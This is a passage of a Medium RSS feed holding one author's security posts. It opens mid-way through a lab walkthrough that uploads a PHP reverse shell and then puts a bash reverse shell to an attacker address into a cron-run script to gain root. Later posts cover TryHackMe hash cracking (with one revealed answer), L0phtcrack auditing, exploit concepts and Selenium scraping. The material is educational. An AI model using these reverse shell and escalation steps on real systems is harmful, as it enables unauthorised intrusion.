thing, add an extension “Hack-Tools”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*lfNY8TOzK09VIegpxF2efg.png" /></figure><p>Go to the PHP reverse shell, and add your IP address as you are going to get the connection request at your IP address. Add a port number and download the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*dN4bAUz25Z4lZtNnIVUI8w.png" /></figure><p>Start the listening at the specified port</p><p>Now, upload the script to that portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*WqYGHv4ZVMdbLv5IVjPZeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TuXikAzTEu9sljKO9v-CIg.png" /></figure><p>As soon, as you upload and hit submit, you will get the shell access (if you haven’t misconfigured the script)</p><p>We got the access now we need to escalate our privilege to the root.</p><h3>Privilege Escalation</h3><p>To escalate the privilege, you need to find out any kind of misconfiguration.</p><p>“sudo -l” is not giving anything.</p><p>I found a great script: PEASS</p><p>As we are working in Linux environment so we will go with <a href="https://linpeas.sh/"><strong>linPEAS</strong></a></p><p>Paste this script in a file. Now, we need to send this file to the target machine. To do that, we can host the file over a local python server and can download the file on the target machine as we already have a shell access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*jp33oIHgS_vBk-vWmx06vQ.png" /></figure><p>Now, let’s download the file using wget command.</p><pre>wget &lt;server_ip_address:port&gt;/file_name<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*lIuJrUWeMng5YQGt--J9fA.png" /></figure><p>Now, that we have the script in the tmp folder let’s execute this script. Before execution, we need to give execution permission using chmod command.</p><pre>chmod +x linpeas.sh</pre><p>Execute.</p><pre>./linpeas.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kCSCri-5k_gshJsm_2DmzQ.png" /></figure><p>Now, some analyzing stuff..</p><p>You will have to analyze the whole result and check if you are getting some juicy information such as any credentials, any executable vulnerable file etc.</p><p>Two important findings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*7Qdk5FCpT9ABEfusnOV2ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*zzG6cGTIL1nIr4Tv-BkNNg.png" /></figure><p>Now, we have a username a password, and a script and they are the part of administrator group.</p><p>Can we do something with this script so that we can get root access?</p><p>To run this script we have to login as “grimmie”</p><p>Let’s recap the things.</p><p>We had three open ports, FTP, SSH, and HTTP</p><p>SSH…</p><p>Let’s login as grimmie using SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*mq1h0Ar0BpOBsPLFJEiGmw.png" /></figure><p>Now we have access to the grimmie user, now we need to get the root user.</p><p>We need to abuse a process which runs on the system so that we can gain and maintain the privilege.</p><p>For that, you can use crontab, ps, systemctl</p><p>Do Explore!!</p><p>There is one another tool, which I would like to add in the story and that is pspy.</p><p>Download the <a href="https://github.com/DominicBreuker/pspy"><strong>pspy64</strong></a></p><p>Host it on the python server</p><p>Download it on the target machine using wget as Grimmir user.</p><p>Give the executable permission by using chmod +x filename</p><p>Run the script by using ./pspy64 (or whatever name you have given)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kUYl7sKM3i8M7Bils1baTA.png" /></figure><p>You will see something like this.</p><p>Notice backup.sh it is running every minute (Wait for one or two minutes you will see...)</p><p>That’s the target and now we need a reverse shell but this time<a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"><strong> bash reverse shell</strong></a>.</p><pre>bash -i &gt;&amp; /dev/tcp/&lt;Attacker_IP_ADDRESS)/8080 0&gt;&amp;1</pre><p>Paste this script in backup.sh file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*nfkXipK8lG6NNRavOxmlMA.png" /></figure><p>Setup the listener at attacker side.</p><pre>nc -nvlp 8082</pre><p>if that port does not work, try to change that.</p><p>Run the backup.sh</p><p>As soon as you will run ./backup.sh from grimmie side, you will get the root terminal at your listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*X6SSCHWuzMK7gns702NL0A.png" /></figure><p>That’s it for the story. I hope you learned many things and a way of thinking.</p><p>Happy Hacking!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1270732b0828" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crack The Hash: TryHackMe Writeup]]></title>
            <link>https://medium.com/@karnrishabh25/crack-the-hash-tryhackme-writeup-dfb79d06bf45?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/dfb79d06bf45</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hashcat]]></category>
            <category><![CDATA[crack-the-hash]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Sat, 02 Mar 2024 15:24:00 GMT</pubDate>
            <atom:updated>2024-03-02T17:23:21.771Z</atom:updated>
            <content:encoded><![CDATA[<p>Room Name: <a href="https://tryhackme.com/room/crackthehash">Crack The Hash</a></p><p>Difficulty: Easy</p><p>Awards: Yes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*_ZpRza7iLXSGprUhFto5sA.png" /><figcaption>Badge you will get after completing the room</figcaption></figure><p>Hey Crackers,</p><p>Password cracking is one of the important and necessary steps. As you have already come across organizations don’t store passwords in plain-text format rather they use hashing algorithms to secure their passwords.</p><p>This room will help you to know about different types of hashed passwords and tools to crack them :&gt;</p><p>There are multiple tools and we will try to use those tools.</p><p>Note: We need to know about hash format before cracking them using tools such as hashcat and john the ripper. To know the hash we can use an online tool called <a href="https://www.tunnelsup.com/hash-analyzer/"><strong>hash analyzer</strong></a><strong> </strong>or you can use kali tool called hash-identifier.</p><h4>Task 1</h4><p><strong>Question 1</strong></p><p>Hash: 48bb6e862e54f2a795ffc4e541caed4d</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*N0pC414JOax9fIKe8rIdgg.png" /><figcaption>Hash Format Analysis</figcaption></figure><p>It says that it can be MD5 or MD4.</p><p>Let’s crack it down using john-the-ripper. To do that you will need a generic wordlist that is called Rockyou.txt</p><p>To use john the ripper, you will require three things:</p><p>Hash format, wordlist, hash-text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*iFUt_XG8fxCYtejNIUvhyA.png" /></figure><p><strong>Question 2</strong></p><p>Hash: CBFDAC6008F9CAB4083784CBD1874F76618D2A97</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*P6oFPlEKx4fJmxeq6fsSnQ.png" /><figcaption>Hash Format Analysis</figcaption></figure><p>This hash can be SHA1</p><p>Let’s crack it using Hashcat.</p><p>Hashcat basically requires two flags:</p><ul><li>a: It is for attack mode, by default is 3(brute force)</li><li>-m: It is for hash type</li></ul><p>example: <em>hashcat -a 3 -m 0 hashes.txt wordlist.txt</em></p><p>To get the value of -m you can visit <a href="https://hashcat.net/wiki/doku.php?id=example_hashes"><strong>here</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JCGLwzUWhGcugy6cTyIuag.png" /></figure><p>As the above given hash was SHA1 which value is 100 for hashcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*nu0uE98MSXkaEQJUPUgaVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*5N0c7Z3cGTf1D43JbZvpGQ.png" /></figure><p><strong>Question 3</strong></p><p>Hash: 1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032</p><p>Hash type is SHA2–256</p><p>Let&#39;s try an online tool that is <a href="https://crackstation.net/"><strong>crackstation.net</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*rc7y79WL38c5_msf32n5UQ.png" /></figure><p>We have tried three different techniques to crack 3 different hashes. It’s fun right?</p><p><strong>Question 4</strong></p><p>Hash: $2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rK9rvxB55yi_54jagWX3lg.png" /></figure><p>It’s possible that sometimes online tools won’t work. So let’s get back to our hashcat, although hashcat is resource intensive tool and can take hours to crack a hash and yes it’s obvious hashing is developed to secure the password right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*jqrhhURjcooidA2FEXmGkA.png" /></figure><p>Hash type is bcrypt which code is 3200 for hashcat.</p><p>The command would be:</p><p><strong>hashcat -m 3200 /path_to_hash_file /path_to_wordlist</strong></p><p>it will give you the password but can take a lot of hours so let’s see the hint which is given at tryhackme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*7YemPNvX8-hDLQlGQD6J-A.png" /></figure><p>So, we can create a filtered wordlist of 4 characters out of rockyou.txt</p><pre>awk ‘length == 4’ /usr/share/wordlists/rockyou.txt &gt; filtered</pre><p>Use this command to filter the wordlist and save it in another file called “filtered”</p><pre>hashcat -m 3200 /path_to_hash_file /path_to_filtered wordlist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*6A4cVFg3BPuYi8HEhRQGKQ.png" /></figure><p><strong>Question 5</strong></p><p>Hash: 279412f945939ba78ce0758d3fd83daa</p><p>We have identified this hash as MD4 and tried to crack it with hashcat.</p><p>Code is 900</p><p>But as you can see, it’s exhausted with no match. It happens sometimes, lets try with an online tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*B5jVJ81cYlQyvK6FF4lJhg.png" /></figure><p>It happens sometimes, lets try with an online tool <a href="http://crackstation.net/"><strong>crackstation.net</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*1zVj1xPUVgk6gQynWicviQ.png" /></figure><h4>Task 2</h4><p><strong>Question 1</strong></p><p>Hash: F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85</p><p>Give it a try, to do it fast, give a try to crackstation.</p><p><strong>Question 2</strong></p><p>Hash: 1DFECA0C002AE40B8619ECF94819CC1B</p><p>Again, give it a try by yourself.</p><p><strong>Question 3</strong></p><p>Hash: $6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.</p><p>Salt: aReallyHardSalt</p><p>So, there is a new term in this question “salt”</p><p>Salt is a random string that is added to the original data before hashing that.</p><p>A tough one. Right?</p><p>Let’s start with our online tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*6fBoG_CFL9tfbiHn8UJAZQ.png" /></figure><p>Understood? We have salted hash so let’s try hashcat.</p><p>First, we have to determine the type of this hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*ogcyzt9hUzqW1dSiOmPvUQ.png" /></figure><p>Hash Analyzer is also not working.</p><p>Let’s do one thing, as this hash starts with $6 so it can be a hint right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ecvvrksVOSZC8YRXeOsQwQ.png" /></figure><p>I have just searched “$6” on the hashcat <a href="https://hashcat.net/wiki/doku.php?id=example_hashes"><strong>website</strong></a></p><p>So, it is sha512crypt and its value is 1800</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*o_J-zna5ebJUBFmcEz3_Yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*1a4zGoAqveFlfwEOgzEHMw.png" /></figure><p>It may take hours to crack it down. You already understood the concept right? Give it a try and I will give you a gift.</p><p>The answer of this question is: waka99</p><p><strong>Question 4</strong></p><p>Hash: e5d8870e5bdd26602cab8dbe07a942c8669e56d6</p><p>Salt: tryhackme</p><p>For this question, salt is given but it not added, so add the salt first.</p><p>Final Hash:</p><p>e5d8870e5bdd26602cab8dbe07a942c8669e56d6:tryhackme</p><p>First, find out the hash type using hash analyzer. For this case it is SHA1</p><p>There are multiple SHA1 format available to use with hashcat. Let’s observer the hash, it’s in this format: password+salt</p><p>Only 110 and 160 are in this format so let’s give a try to 110 first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*2DGhHV7BVAflWRfoS_po-A.png" /></figure><p>Exhausted!!</p><p>Let’s try with 160</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*dXkWGIeVIADAYpwmyUQ0pw.png" /></figure><p>Cracked!!</p><p>It was fun, right?</p><h3>Conclusion:</h3><p>We have used different tools to analyze the type of hash and then used different tools to crack it down with their own syntax.</p><p>Step1: Analyze the type of hash</p><p>Step2 : Use tools such as crackstation, john the ripper, hashcat to crack it down.</p><p>I hope this write-up helped you to solve this room!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dfb79d06bf45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Use L0phtcrack for Password Auditing]]></title>
            <link>https://medium.com/@karnrishabh25/how-to-use-l0phtcrack-for-password-auditing-2403f9c2a1dc?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/2403f9c2a1dc</guid>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[password-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Tue, 20 Feb 2024 18:35:01 GMT</pubDate>
            <atom:updated>2024-02-21T12:00:02.635Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*leHMC0S3QEQIWdvmJ11TmA.png" /><figcaption>Password Auditing — L0phtcrack</figcaption></figure><p>Hey Readers,</p><p>Let’s start with the basics and understand the core concept behind the <strong>L0phtcrack</strong> tool before actually using it. We will not go deep into the history of this tool, but we will touch it gently.</p><h3>A Little Bit of History</h3><p>L0phtcrack is an application originally developed by Mudge from L0pht Heavy Industries. It is a password auditing and recovery tool and is also used to test the strength of the password by brute forcing password hashes with the help of a dictionary. The initial version was released in 1997. Well, there have been a lot of incidents with this tool in the past and if you are interested then surely can check it out from <a href="https://en.m.wikipedia.org/wiki/L0phtCrack"><strong>here</strong></a>. But for this story just know that in 2020 L0phtcrack was purchased by Terahash. Its current version is 7.2.0 and it is now available as an open-source project.</p><h3>What is Password Auditing?</h3><p>Once a wise cyber security expert said, <em>“A weak password can lead to the exploitation of an entire organization.”</em> So, it is important to keep an eye on the passwords that are being used by the employees of the organization. And this process is nothing but <strong>Password Auditing</strong>.</p><p>It is a process to evaluate and monitor the strength and security of passwords within a system or network. In this process, a tool is used to crack the password to check whether the password is up to the mark or not. In Windows, the <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview"><strong>NLTM</strong></a> (New Technology LAN Manager) hashing algorithm is used to store the password and this tool is used to attempt to crack the passwords to determine their strength.</p><h3>Importance of Password Auditing</h3><p>When I was attending a training session, one of my trainers said <em>“Knowing does not matter, but awareness does”.</em></p><p>Suppose, there is a big organization, spending a ton of its time and money to train and aware employees to follow safe and secure cyber habits including maintaining a strong password. But in the end, it’s all in the hands of the employee, whether they are following a safe habit or not.</p><p>To ensure what kind of passwords are being used within a network and organization to implement secure password habits, password auditing is important as it can lead to identifying the weak profiles and enforcing them to secure their credentials.</p><p><em>L0phtcrack is a tool as I have mentioned above to do password auditing. Now let’s get back to the soul of this story.</em></p><h3>Download and Installation</h3><p>Download the tool by clicking this<strong> </strong><a href="https://gitlab.com/l0phtcrack/l0phtcrack/-/releases/7.2.0"><strong>link</strong></a></p><ol><li><strong>After downloading, click on the file and allow the app to make changes to the device.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*z_yyey0xUg85k5ez8kLQqA.png" /><figcaption>Setup is loading</figcaption></figure><p><strong>2. Click on next, once the setup wizard is prompted.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*x9UaZmq7OqDzMlUPyZ5RhA.png" /><figcaption>Installation Wizard</figcaption></figure><p><strong>3. Agree on the License Agreement (You can read it if you want).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*cgA3Ek-2vsobUE6N3EMjJQ.png" /><figcaption>License Agreement Window</figcaption></figure><p><strong>4. Give the location where you want to install and click next.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*lz_VAYpKwGx7pkmZEF8ijg.png" /><figcaption>Set the installation location</figcaption></figure><p><strong>5. Click on Install.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*nVCXMLU3w_W7jckMrBZ9Cw.png" /><figcaption>Install the application</figcaption></figure><p><strong>6. After the installation process, click on Next and then Finish.</strong></p><h3>Using L0phtcrack</h3><p>Installation is done, now it’s time to see some real stuff. Open the application with Admin privileges.</p><ol><li><strong>Click on Password Auditing Wizard.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*yWCFlfqK-yoBKo9YlNGAIA.png" /></figure><p><strong>2. Read the introduction and click on next.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*Rg2UntDwM63oYaJcf4N_mA.png" /></figure><p><strong>3. Here are two options to choose.</strong></p><p>Choose your target system according to your requirements. If you want to perform password auditing on a Windows machine then choose Windows else if you want to do it on UNIX then choose unix.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*XVJBrIUz_ByP_NAPeI-O7Q.png" /></figure><p><strong>4. In this step, there are three options to choose.</strong></p><p><em>The local machine:</em></p><p>If you want to perform a password audit on the local machine and you have local administrative privileges, then choose this option.</p><p><em>A remote machine:</em></p><p>If you want to perform a password audit on the remote machine then you can choose this option but you need the authority and privileges.</p><p><em>The third option:</em></p><p><strong>PWDump</strong> is a Windows-based tool that is used to extract password hashes from the Security Account Manager (SAM) database on a Windows system. The SAM database is a part of the Windows operating system and stores hashed passwords, among other security-related information. You can choose this option if you have having <a href="https://en.wikipedia.org/wiki/Pwdump"><strong>PWDump</strong></a> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*4LYM91-nyagejVI14mF6zA.png" /></figure><p><em>As of now, we will be doing it on our local machine, so select that.</em></p><p><strong>5. In this step, there are three options to choose and click on next.</strong></p><p>If you want to perform the audit as the currently logged-in user, select the first option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*Lp0HVo6lUMyzL58-Rr5YEQ.png" /></figure><p><strong>6. Now we have to choose type of the audit.</strong></p><p><em>Quick Password Audit:</em></p><p>A quick process that will use common permutations. And not strong enough to deal with combinations.</p><p><em>Common Password Audit:</em></p><p>This method also uses an alphanumeric and space character set and can take up to 1 hour to test.</p><p><em>Thorough Password Audit:</em></p><p>A long and powerful method that uses a large ASCII character set and may take up to 6 hours to complete.</p><p><em>Strong Password Audit:</em></p><p>It is an enterprise-level attack method that uses the entire ISO -8859–1 character set. It requires a <a href="https://www.intel.com/content/www/us/en/products/docs/processors/what-is-a-gpu.html"><strong>GPU</strong></a>-enabled machine and it may take several days to complete.</p><p>As of now, we will be using the quick password audit method</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*FS2RvO0T1izVpW0B8GB97A.png" /></figure><p><strong>7. Generate the report in your required format.</strong></p><p>You may generate your report in different formats such as CSV, HTML, XML, and choose a location where you want to save it. You can also add options according to your requirements and</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*InjIFcgXctMqtCjvSHDV1A.png" /></figure><p><strong>8. Schedule your job.</strong></p><p>Either you can start the audit immediately or you may schedule it for later. As of now, I am selecting this job to run immediately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*5OiWC4zzmyW1UnRUjP2BBQ.png" /></figure><p><strong>9. Review the summary and click on finish.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*oP5UGioIwKVAAv94Cf68og.png" /></figure><p><strong>10. The process is ON</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*8Za6kY3V2EIMcHEPn0w_Aw.png" /></figure><p>So far. So good !! It was a simple process, right? After the completion of the audit, you may check the audit report at the location you have selected.</p><p>You can explore the different options and observe what changes are there inside each option.</p><h4>Things to remember</h4><p>Before performing a password audit, you need proper authorization, and should be conducted responsibly.</p><p>That’s it for this story!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2403f9c2a1dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What Are Exploits and Payloads Exactly?]]></title>
            <link>https://medium.com/@karnrishabh25/what-are-exploits-and-payloads-exactly-e04b441fbf09?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/e04b441fbf09</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Sun, 18 Feb 2024 14:18:20 GMT</pubDate>
            <atom:updated>2024-02-18T14:21:34.462Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*h0fNR-E0MgtKXXHynI12ug.png" /></figure><p>Hey Hackers,</p><p>Today you got to hear the words exploit and payloads right? And it confused your mind.</p><p>Don’t worry, I will help you out 🎉</p><p>Let me guess, you are already familiar with the basic terms of <strong>Cyber Security </strong>such as <strong>Vulnerability. </strong>If not, no worries 💪🏽</p><h3>Defining Vulnerability</h3><p><em>“In Cybersecurity a vulnerability refers to a weakness or a flaw in a system, network, application, or a process that could become an entry point for an attack.”</em></p><p>Understood? No? Let’s do an analogy.</p><p>Imagine your house has 2 doors and 3 windows and you are locking both doors and 2 windows properly but the locks of the last window are broken. Hence, a thief or an intruder can enter your house from that insecure window. It is nothing but a vulnerability to your house.</p><p>Here,</p><p>House = Network</p><p>Locks = Security Measures</p><p>Insecure Window = Vulnerability</p><p>Intruder = Attacker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MORRJnbUo48fjUZonSARcQ.png" /><figcaption>Analogy Diagram</figcaption></figure><p><strong><em>Similarly, if your system has a vulnerability then an attacker can use that to invade your network and it is nothing but exploitation.</em></strong></p><h3>Exploits and Payloads</h3><h4>Exploits</h4><p>As I have already defined the process of exploitation it is now easy to understand the exploits. Exploits are nothing but a technology that is used to take advantage of a vulnerability (weak point) of a system to gain access to it.</p><h4>Payloads</h4><p>The payload is the part of the exploit that performs the actual malicious actions. They are nothing but pieces of code, an attacker wants to execute after exploiting the vulnerability.</p><p>Understood? No? Let’s extend the above analogy.</p><p>Suppose, a thief or an intruder enters your house using that insecure window and installs a spy camera to invade your privacy.</p><p>Here,</p><p>Entering the house through the vulnerable window = Exploits (Exploiting the vulnerability)</p><p>Installing spy cameras = Payloads (Executing the intentions after exploiting the vulnerability)</p><p>That’s all for this story!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e04b441fbf09" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Scrap Infinite Scrolling Web Pages?]]></title>
            <link>https://medium.com/@karnrishabh25/how-to-scrap-infinite-scrolling-website-71b83fc064ec?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/71b83fc064ec</guid>
            <category><![CDATA[selenium]]></category>
            <category><![CDATA[data-science]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[beautifulsoup]]></category>
            <category><![CDATA[web-scraping]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Fri, 12 Jan 2024 16:42:26 GMT</pubDate>
            <atom:updated>2024-01-12T16:52:16.607Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*wIGsIqED7kACNXLM_rJBKQ.png" /></figure><p>Hey Scrappers,</p><p>Let me guess, you have been scraping websites using a powerful Python library “Beautiful Soup” right? Indeed Beautful Soup is a powerful library that can be utilized to deep dive into the structure of a web page and extract some insightful information from there. But here is a catch, it can not be used alone to scrap the content of infinite scrolling webpages.</p><p>So, without saying much let’s start with today’s subject. We will start with some formality :D</p><h3>What is Web Scraping?</h3><p>It has a straightforward meaning <em>“Web” is </em>any website that is live on the internet and <em>“Scraping” </em>means extracting the data from the structure of that webpage. Here I am writing the keyword <em>“structure” </em>which refers to the HTML part of the website. We can extract our required data with the help of tags and classes.</p><p>In this story, I will assume that you are already aware of the basics of web scraping and only interested in scraping the webpages with infinite scrolling features.</p><h3>What is Infinite Scrolling Web Pages?</h3><p>It is a special kind of feature that a web page can have. In this kind of design, additional content will be loaded and displayed as the user scrolls down the web page. Instead of breaking content into multiple pages, a single page continuously loads more content as the user reaches the bottom. You can check it out on websites such as Nike, ajio, etc.</p><h4>What’s the Issue with Beautiful Soup?</h4><p>As I have mentioned earlier beautiful soup can be termed as a powerful tool to extract information from a web page but while dealing with infinite scrolling web pages, it can lose its power.</p><p>Beautiful Soup operates on static HTML content. It parses the HTML structure that we get from the initial response from a web page and allows you to extract information from it. It doesn’t execute Javascript which is a key essential of an infinite scrolling web page. This kind of web page dynamically loads and updates HTML data continuously using javascript and hence beautiful soup alone can not be sufficient enough to parse the entire HTML structure of a web page apart from the initial response.</p><h3>Selenium is the Solution</h3><p>So.. here we go with the soul of this story. Selenium is an open-source framework for automating web page interaction and can be used to deal with infinite scrolling web pages and can boost your data scraping process.</p><p>In LayMan terms <em>“Selenium will act as a bot and scroll the entire web page for you till the end”.</em></p><p>Now let’s see how we can use this selenium and can make our task easier.</p><h4>Step 1: Install Python</h4><p>It is an obvious process and if you are working with web scraping, you have already ticked this step. However, if you haven’t then you can install Python from their official <a href="https://www.python.org/downloads/"><strong>website</strong></a>.</p><h4>Step 2: Install Selenium</h4><p>To proceed further, you may need to download selenium package using Python package manager PIP.</p><p>Open a terminal or command prompt and run the following command:</p><p><strong><em>pip install selenium</em></strong></p><h4>Step 3: Download a Web Driver</h4><p>To work with Selenium you will be required to download and configure a web driver that is compatible with your system.</p><p>Before <a href="https://pypi.org/project/selenium/"><strong>installing</strong></a> the web driver you need to know a few things:</p><p>Browser you want your selenium to use.</p><p>A version of that browser should be compatible with the driver.</p><p>In this story, I will go ahead with the chrome.</p><p>You may download the Chromium web driver according to your Chrome version from <a href="https://chromedriver.chromium.org/downloads"><strong>here</strong></a>.</p><h4>Step 4: Write Your Script and Let’s Go…</h4><pre>#import selenium webdriver<br>from selenium import webdriver<br><br>#path to the the webdriver executable<br>driver_path = &#39;/add your path here&#39;<br><br>#create an instance of chrome driver<br>driver = webdriver.Chrome(driver_path)<br><br>#navigate to a website<br>driver.get(&quot;www.example.com&quot;)<br><br>#now we want to scroll down till the last of the web page<br>height = driver.execute_script(&#39;return document.body.scrollHeight&#39;)<br><br>while True:<br>    driver.execute_script(&#39;window.scrollTo(0,document.body.scrollHeight)&#39;)<br>    time.sleep(10)<br>    new_height = driver.execute_script(&#39;return document.body.scrollHeight&#39;)<br>    if new_height == height:<br>        break<br>    height = new_height<br><br>&#39;&#39;&#39;<br><br>after executing the above code you will notice that the website will be<br>open in chrome browser and it will get scrolled downed automatically<br><br>&#39;&#39;&#39;<br></pre><h4>Step 5: Let’s Start Actual Web Scraping…</h4><pre>#import beautiful soup<br>from bs4 import BeautifulSoup<br><br>#create a soup instance<br>soup = BeautifulSoup(driver.page_source,&#39;html5lib&#39;)<br></pre><p>That’s it… now you can perform your scraping as you were doing for static web pages. You have your soup object and use this to grab the information using tags and HTML classes.</p><h3>Conclusion</h3><p>The process of dealing with infinite scrolling web pages is very similar to the scraping of static web pages. The only difference is that we need a bot that will scroll down the entire page for us and then we can grab the HTML structure of the entire web page.</p><p>We can conclude by saying <strong><em>Selenium + BeautifulSoup = Scraping of Infinite Scrolling Web Page.</em></strong></p><p>If you have any kind of doubts then feel free to post in the comments.</p><p>Happy Scraping :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71b83fc064ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>